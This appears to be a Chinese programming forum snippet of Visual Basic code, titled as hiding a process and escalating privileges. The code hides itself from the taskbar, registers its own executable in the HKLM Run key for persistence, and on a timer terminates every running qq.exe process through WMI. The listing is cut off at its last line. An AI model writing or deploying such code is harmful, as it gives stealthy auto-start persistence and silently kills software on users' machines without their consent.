<b>VB中注入躲藏进程,和提权</b>[VB编程]

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Const REG_SZ = 1
Const HKEY_LOCAL_MACHINE = &H80000002

Private Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String)
Dim keyHand As Long
Dim R As Long
R = RegCreateKey(hKey, strPath, keyHand)
R = RegSetValueEx(keyHand, strValue, 0, REG_SZ, ByVal strData, LenB(StrConv(strData, vbFromUnicode)))
R = RegCloseKey(keyHand)
End Sub
Private Sub Form_Load()
App.TaskVisible = False
Dim fname As String
If Right(App.Path, 1) = "\" Then
fname = App.Path
Else
fname = App.Path & "\"
End If
SaveString HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", "T-520", fname & App.EXEName & ".exe"
End Sub

Private Sub Timer1_Timer()
Dim objWMIService As Object
Dim colProcesslist As Object
Dim objProcess As Object
Set objWMIService = CreateObject("winmgmts:{impersonationLevel=Impersonate}!root\cimv2")
Set colProcesslist = objWMIService.ExecQuery("select * from win32_process where name='qq.exe'")
For Each objProcess In colProcesslist
objProcess.Terminate
Next
End Su